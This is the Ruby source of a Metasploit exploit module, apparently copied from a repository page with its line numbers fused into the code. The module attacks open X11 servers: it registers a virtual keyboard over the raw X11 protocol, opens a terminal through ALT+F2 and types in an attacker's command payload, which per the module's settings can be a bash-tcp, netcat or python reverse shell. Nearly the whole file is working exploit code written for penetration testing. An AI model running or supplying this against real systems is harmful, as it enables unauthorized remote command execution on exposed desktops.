Path: blob/master/modules/exploits/unix/x11/x11_keyboard_exec.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::Tcp89KB_KEYS = {10'1' => "\x0a",11'2' => "\x0b",12'3' => "\x0c",13'4' => "\x0d",14'5' => "\x0e",15'6' => "\x0f",16'7' => "\x10",17'&' => "\x10",18'8' => "\x11",19'9' => "\x12",20'(' => "\x12",21'0' => "\x13",22')' => "\x13",23'-' => "\x14",24'=' => "\x15",25'q' => "\x18",26'w' => "\x19",27'e' => "\x1a",28'r' => "\x1b",29't' => "\x1c",30'y' => "\x1d",31'u' => "\x1e",32'i' => "\x1f",33'o' => "\x20",34'p' => "\x21",35'[' => "\x22",36'{' => "\x22",37']' => "\x23",38'}' => "\x23",39'a' => "\x26",40's' => "\x27",41'd' => "\x28",42'f' => "\x29",43'g' => "\x2a",44'h' => "\x2b",45'j' => "\x2c",46'k' => "\x2d",47'l' => "\x2e",48';' => "\x2f",49':' => "\x2f",50"'" => "\x30",51'"' => "\x30",52'`' => "\x31",53'~' => "\x31",54'lshift' => "\x32",55'\\' => "\x33",56'|' => "\x33",57'z' => "\x34",58'x' => "\x35",59'c' => "\x36",60'v' => "\x37",61'b' => "\x38",62'n' => "\x39",63'm' => "\x3a",64',' => "\x3b",65'<' => "\x3b",66'.' => "\x3c",67'>' => "\x3c",68'/' => "\x3d",69'*' => "\x3f",70'alt' => "\x40",71' ' => "\x41",72'f2' => "\x44"73}7475def initialize(info = {})76super(77update_info(78info,79'Name' => 'X11 Keyboard Command Injection',80'Description' => %q{81This module exploits open X11 servers by connecting and registering a82virtual keyboard. The virtual keyboard is used to open an xterm or gnome83terminal and type and execute the specified payload.84},85'Author' => [86'xistence <xistence[at]0x90.nl>'87],88'Privileged' => false,89'License' => MSF_LICENSE,90'Payload' => {91'DisableNops' => true,92'Compat' => {93'PayloadType' => 'cmd cmd_bash',94'RequiredCmd' => 'gawk bash-tcp python netcat'95}96},97'Platform' => ['unix'],98'Arch' => ARCH_CMD,99'Targets' => [100['xterm (Generic)', {}],101['gnome-terminal (Ubuntu)', {}],102],103'DisclosureDate' => '2015-07-10',104'DefaultTarget' => 0,105'Notes' => {106'Stability' => [CRASH_SAFE],107'SideEffects' => [SCREEN_EFFECTS],108'Reliability' => [REPEATABLE_SESSION]109}110)111)112113register_options([114Opt::RPORT(6000),115OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])116])117end118119def xkeyboard_key120req = ''121req << @xkeyboard_opcode122req << "\x05" # Extension minor: 5 (LatchLockState)123req << "\x04\x00" # Request length: 4124req << "\x00\x01" # DeviceSpec: 0x0100 (256)125req << "\x00" # affectModLocks: 0126req << "\x00" # modLocks: 0127req << "\x01" # lockGroup: True128req << "\x00" # groupLock: 0129req << "\x00" # affectModLatches: 0130req << "\x00" # Unused131req << "\x00" # latchGroup: False132req << "\x00\x00" # groupLatch: 0133req << "\x00" # Undecoded134return req135end136137def press_key(key)138req = xkeyboard_key139140req << @xtest_opcode141req << "\x02" # Extension minor: 2 (FakeInput)142req << "\x09\x00" # Request length: 9143req << "\x02" # Press key (Type: 2)144req << key # What key to press145req << "\x04\x00" # Unused?146req << "\x00\x00\x00\x00" # Time147req << "\x00\x00\x00\x00" # Root148req << "\x07\x00\x07\x00" # Unused?149req << "\x88\x04\x02\x00" # Unused?150# req << "\x00\x01" # rootX: 256151# req << "\xf5\x05" # rootY: 1525152req << "\x00\x00" # rootX: 0153req << "\x00\x00" # rootY: 0154req << "\x00\x00\x00\x00" # Unused?155req << "\x00\x00\x00" # Unused?156req << "\x00" # deviceid: 0157158req << xkeyboard_key159160req << "\x2b" # Opcode 43: GetInputFocus161req << "\x00" # Unused162req << "\x01\x00" # Request length: 1163164sock.put(req)165166res = sock.get_once167168# Response should give 1 on first byte (Success)169unless res && res[0, 1] == "\x01"170fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")171end172end173174def release_key(key)175req = xkeyboard_key176177req << @xtest_opcode178req << "\x02" # Extension minor: 2 (FakeInput)179req << "\x09\x00" # Request length: 9180req << "\x03" # Release key (Type: 3)181req << key # What key to release182req << "\x04\x00" # Unused?183req << "\x00\x00\x00\x00" # Time184req << "\x00\x00\x00\x00" # Root185req << "\x07\x00\x07\x00" # Unused?186req << "\x88\x04\x02\x00" # Unused?187# req << "\x00\x01" # rootX: 256188# req << "\xf5\x05" # rootY: 1525189req << "\x00\x00" # rootX: 0190req << "\x00\x00" # rootY: 0191req << "\x00\x00\x00\x00" # Unused?192req << "\x00\x00\x00" # Unused?193req << "\x00" # deviceid: 0194195req << xkeyboard_key196197req << "\x2b" # Opcode 43: GetInputFocus198req << "\x00" # Unused199req << "\x01\x00" # Request length: 1200201sock.put(req)202203res = sock.get_once204205# Response should give 1 on first byte (Success)206unless res && res[0, 1] == "\x01"207fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")208end209end210211def type_command(command)212# Specify the special keys which need to have shift pressed first to type213specialkeys = '<>{}|"&()'.chars214values = command.chars215values.each do |value|216key = KB_KEYS[value]217# Special keys need a shift pressed to be typed218if Regexp.union(specialkeys) =~ value219press_key(KB_KEYS['lshift']) # [lshift]220press_key(key)221release_key(KB_KEYS['lshift'])222release_key(key)223# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase224elsif value =~ /[A-Z]/225press_key(KB_KEYS['lshift']) # [lshift]226press_key(KB_KEYS[value.downcase])227release_key(KB_KEYS['lshift'])228release_key(KB_KEYS[value.downcase])229# All normal keys which are not special keys or uppercase characters230else231press_key(key)232release_key(key)233end234end235# Send an enter236press_key("\x24") # [enter]237release_key("\x24") # [enter]238end239240def send_msg(sock, data)241sock.put(data)242data = ''243begin244read_data = sock.get_once(-1, 1)245until read_data.nil?246data << read_data247read_data = sock.get_once(-1, 1)248end249rescue EOFError => e250vprint_error(e.message)251end252data253end254255def exploit256connect257258print_status("#{rhost}:#{rport} - Register keyboard")259260req = "\x6c" # Byte order (Little-Endian)261req << "\x00" # Unused262req << "\x0b\x00" # Protocol major version: 11263req << "\x00\x00" # Protocol minor version: 0264req << "\x00\x00" # Authorization protocol name length: 0265req << "\x00\x00" # Authorization protocol data length: 0266req << "\x00\x00" # Unused267268# Retrieve the whole X11 details response269res = send_msg(sock, req)270271# Response should give 0x01 in first byte (Success)272unless res && res[0, 1] == "\x01"273fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")274end275276# Keyboard registration277req = "\x62" # Opcode 98: QueryExtension278req << "\x00" # Unused279req << "\x05\x00" # Request length: 5280req << "\x09\x00" # Name length: 9281req << "\x60\x03" # Unused?282req << 'XKEYBOARD' # Name283req << "\x00\x00\x00" # Unused, padding?284285# Retrieve the whole X11 details response286res = send_msg(sock, req)287288# Response should give 0x01 in first byte (Success)289if res && res[0, 1] == "\x01"290@xkeyboard_opcode = res[9, 1] # Retrieve the XKEYBOARD opcode291else292# puts res.inspect293fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")294end295296req = ''297req << @xkeyboard_opcode298req << "\x00" # Extension minor: 0 (UseExtension)299req << "\x02\x00" # Request length: 2300req << "\x01\x00" # Wanted Major: 1301req << "\x00\x00" # Wanted Minor: 0302303# Retrieve the whole X11 details response304res = send_msg(sock, req)305306unless res && res[0, 1] == "\x01"307fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")308end309310req = "\x62" # Opcode 98: QueryExtension311req << "\x00" # Unused312req << "\x06\x00" # Request length: 6313req << "\x0f\x00" # Name length: 15314req << "\x00\x00" # Unused315req << 'XInputExtension' # Name316req << "\x00" # Unused, padding?317318# Retrieve the whole X11 details response319res = send_msg(sock, req)320321# Response should give 0x01 in first byte (Success)322unless res && res[0, 1] == "\x01"323fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")324end325326req = "\x62" # Opcode 98: QueryExtension327req << "\x00" # Unused328req << "\x04\x00" # Request length: 4329req << "\x05\x00" # Name length: 5330req << "\x00\x00" # Unused331req << 'XTEST' # Name332req << "\x00\x00\x00" # Unused, padding?333334# Retrieve the whole X11 details response335res = send_msg(sock, req)336337# Response should give 0x01 in first byte (Success)338if res && res[0, 1] == "\x01"339@xtest_opcode = res[9, 1] # Retrieve the XTEST opcode340else341fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")342end343344req = "\x62" # Opcode 98: QueryExtension345req << "\x00" # Unused346req << "\x08\x00" # Request length347req << "\x17\x00" # Name length348req << "\x00\x00" # Unused349req << 'Generic Event Extension' # Name350req << "\x00" # Unused, padding?351352# Retrieve the whole X11 details response353res = send_msg(sock, req)354355# Response should give 0x01 in first byte (Success)356if res && res[0, 1] == "\x01"357@genericevent_opcode = res[9, 1] # Retrieve the Generic Event Extension opcode358else359fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")360end361362req = ''363req << @genericevent_opcode364req << "\x00" # Extension minor: 0 (QueryVersion)365req << "\x02\x00" # Request length: 2366req << "\x01\x00" # Client major version: 1367req << "\x00\x00" # Client minor version: 0368369# Retrieve the whole X11 details response370res = send_msg(sock, req)371372# Response should give 0x01 in first byte (Success)373unless res && res[0, 1] == "\x01"374fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")375end376377req = ''378req << @xtest_opcode379req << "\x00" # Extension minor: 0 (GetVersion)380req << "\x02\x00" # Request length: 2381req << "\x02\x00" # Major version: 2382req << "\x02\x00" # Minor version: 2383384# Retrieve the whole X11 details response385res = send_msg(sock, req)386387# Response should give 0x01 in first byte (Success)388unless res && res[0, 1] == "\x01"389fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")390end391392req = "\x65" # Opcode 101: GetKeyboardMapping393req << "\x00" # Unused394req << "\x02\x00" # Request length: 2395req << "\x08" # First keycode: 8396req << "\xf8" # Count: 248397req << "\x02\x00" # Unused?398399# Retrieve the whole X11 details response400res = send_msg(sock, req)401402# Response should give 0x01 in first byte (Success)403unless res && res[0, 1] == "\x01"404fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")405end406407req = ''408req << @xkeyboard_opcode409req << "\x08" # Extension minor: 8 (GetMap)410req << "\x07\x00" # Request length: 7411req << "\x00\x01" # Device spec: 0x0100 (256)412req << "\x07\x00" # Full: 7413req << "\x00\x00" # Partial: 0414req << "\x00" # firsType: 0415req << "\x00" # nTypes: 0416req << "\x00" # firstKeySym: 0417req << "\x00" # nKeySym: 0418req << "\x00" # firstKeyAction: 0419req << "\x00" # nKeysActions: 0420req << "\x00" # firstKeyBehavior: 0421req << "\x00" # nKeysBehavior: 0422req << "\x00\x00" # virtualMods: 0423req << "\x00" # firstKeyExplicit: 0424req << "\x00" # nKeyExplicit: 0425req << "\x00" # firstModMapKey: 0426req << "\x00" # nModMapKeys: 0427req << "\x00" # firstVModMapKey: 0428req << "\x00" # nVModMapKeys: 0429req << "\x00\x00" # Unused, padding?430431# Retrieve the whole X11 details response432res = send_msg(sock, req)433434# Response should give 0x01 in first byte (Success)435unless res && res[0, 1] == "\x01"436fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")437end438439# Press ALT+F2 to start up "Run application"440print_status("#{rhost}:#{rport} - Opening \"Run Application\"")441press_key(KB_KEYS['alt'])442press_key(KB_KEYS['f2'])443release_key(KB_KEYS['alt'])444release_key(KB_KEYS['f2'])445446# Wait X seconds to open the dialog447print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")448Rex.sleep(datastore['TIME_WAIT'])449450if datastore['TARGET'] == 0451# Start a xterm terminal452print_status("#{rhost}:#{rport} - Opening xterm")453type_command('xterm')454else455# Start a Gnome terminal456print_status("#{rhost}:#{rport} - Opening gnome-terminal")457type_command('gnome-terminal')458end459460print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")461# Wait X seconds to open the terminal462Rex.sleep(datastore['TIME_WAIT'])463464# "Type" our payload and execute it465print_status("#{rhost}:#{rport} - Typing and executing payload")466command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"467468type_command(command)469470handler471rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e472print_error("#{rhost}:#{rport} - #{e.message}")473ensure474disconnect475end476end477478479